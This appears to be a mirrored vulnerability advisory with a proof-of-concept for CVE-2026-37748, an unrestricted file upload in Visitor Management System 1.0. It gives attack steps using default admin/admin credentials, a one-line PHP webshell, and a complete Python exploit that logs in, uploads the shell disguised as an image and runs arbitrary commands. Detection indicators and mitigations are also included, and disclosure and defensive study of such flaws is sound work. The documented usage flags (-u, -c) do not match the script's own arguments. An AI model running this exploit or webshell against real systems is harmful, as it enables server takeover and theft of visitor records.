Visitor Management System 1.0 — Unrestricted File Upload to RCE (CVE-2026-37748)

by Varad AP Mene (menevarad007) · 2026-07-05

CVSS 7.2/10

Severity: High
CVE: CVE-2026-37748
Category: web
Affected product: Visitor Management System (sanjay1313) 1.0
Affected versions: 1
Disclosed: 2026-07-05
Patch status: unpatched

Metadata

Field	Value
Date Added	2026-07-05
Last Updated	2026-04
Author / Researcher	Varad AP Mene (menevarad007)
CVE / Advisory	CVE-2026-37748
Category	web
Severity	High
CVSS Score	7.2 (CVSSv3: AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)
Status	PoC
Tags	php, unrestricted-file-upload, rce, webshell, admin-authenticated, cwe-434
Related	N/A

Affected Target

Field	Value
Software / System	Visitor Management System (sanjay1313) 1.0
Versions Affected	1.0
Language / Platform	Python (exploit) targeting PHP/MySQL web app
Authentication Required	Yes (admin account)
Network Access Required	Yes

Summary

Visitor Management System 1.0 calls move_uploaded_file() in vms/php/admin_user_insert.php and vms/php/update_1.php without validating the uploaded file’s MIME type, extension, or content. An authenticated admin user can upload a PHP webshell disguised as a profile image and then invoke it directly via its predictable URL under the images directory, achieving remote code execution as the web server user. The PoC automates login, webshell upload, and command execution.

Vulnerability Details

Root Cause

admin_user_insert.php / update_1.php pass $_FILES['image'] straight into move_uploaded_file() with no extension allowlist or MIME/content validation (CWE-434).

Attack Vector

Authenticate to the admin panel (default credentials admin/admin are common on fresh installs).
Navigate to Admin Users → Add New Admin and upload a shell.php file containing <?php system($_GET['cmd']); ?> as the profile photo.
Access the uploaded file directly at http://target/vms/images/shell.php?cmd=<command>.
Arbitrary OS commands execute as the web server user.

Impact

Full remote code execution and server compromise, including data exfiltration of visitor records and potential lateral movement.

Environment / Lab Setup

Target:   Visitor Management System 1.0 (PHP/MySQL)
Attacker: Python 3, requests library

Proof of Concept

PoC Script

See exploit.py in this folder.

1
python3 exploit.py -u http://target/vms/ -c 'id'

The script authenticates as an admin user, uploads a PHP webshell via the profile image field, and executes the specified OS command through the uploaded file.

Detection & Indicators of Compromise

GET /vms/images/shell.php?cmd=id HTTP/1.1

Signs of compromise:

Non-image (.php) files present in the vms/images/ upload directory
Admin user creation/update events immediately followed by requests to a newly uploaded .php file

Remediation

Action	Detail
Primary fix	No vendor patch confirmed as of 2026-07-05 — monitor for advisory
Interim mitigation	Validate file extension and MIME type against an allowlist, rename uploads to random names, and store uploads outside the web root

References

Source repository

Notes

Mirrored from https://github.com/menevarad007/CVE-2026-37748 on 2026-07-05.

exploit.py

python raw GitHub ↓ Download

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# Exploit Title: Visitor Management System 1.0 - Remote Code Execution
# Date: 2026-04-02
# Exploit Author: Varad AP Mene (menevarad007@gmail.com)
# Vendor: https://github.com/sanjay1313/Visitor-Management-System
# Version: 1.0
# CVE: CVE-2026-37748
# Tested on: Windows 10 / XAMPP, Kali Linux

import requests
import argparse
import sys

WEBSHELL = b'<?php system($_GET["cmd"]); ?>'

def login(base_url, session):
    url = f"{base_url}/vms/index.php"
    data = {'username': 'admin', 'password': 'admin', 'submit': 'submit'}
    r = session.post(url, data=data, timeout=10)
    return r.status_code == 200

def upload_shell(base_url, session):
    url = f"{base_url}/vms/php/admin_user_insert.php"
    files = {'image': ('shell.php', WEBSHELL, 'image/jpeg')}
    data = {'name': 'test', 'username': 'test123',
            'password': 'test123', 'submit': 'submit'}
    r = session.post(url, files=files, data=data, timeout=10)
    return r.status_code == 200

def execute(base_url, session, cmd):
    url = f"{base_url}/vms/images/shell.php"
    r = session.get(url, params={'cmd': cmd}, timeout=10)
    return r.text.strip()

def main():
    parser = argparse.ArgumentParser(description='CVE-2026-37748 PoC')
    parser.add_argument('--url', required=True, help='Target URL')
    parser.add_argument('--cmd', default='id', help='Command to execute')
    args = parser.parse_args()

    base = args.url.rstrip('/')
    session = requests.Session()

    print(f"[*] Target: {base}")
    print(f"[*] Logging in...")
    if not login(base, session):
        print("[-] Login failed"); sys.exit(1)
    print("[+] Login successful!")

    print("[*] Uploading webshell...")
    if not upload_shell(base, session):
        print("[-] Upload failed"); sys.exit(1)
    print(f"[+] Shell uploaded → {base}/vms/images/shell.php")

    print(f"[*] Executing: {args.cmd}")
    result = execute(base, session, args.cmd)
    print(f"[+] Result:\n{result}")

if __name__ == '__main__':
    main()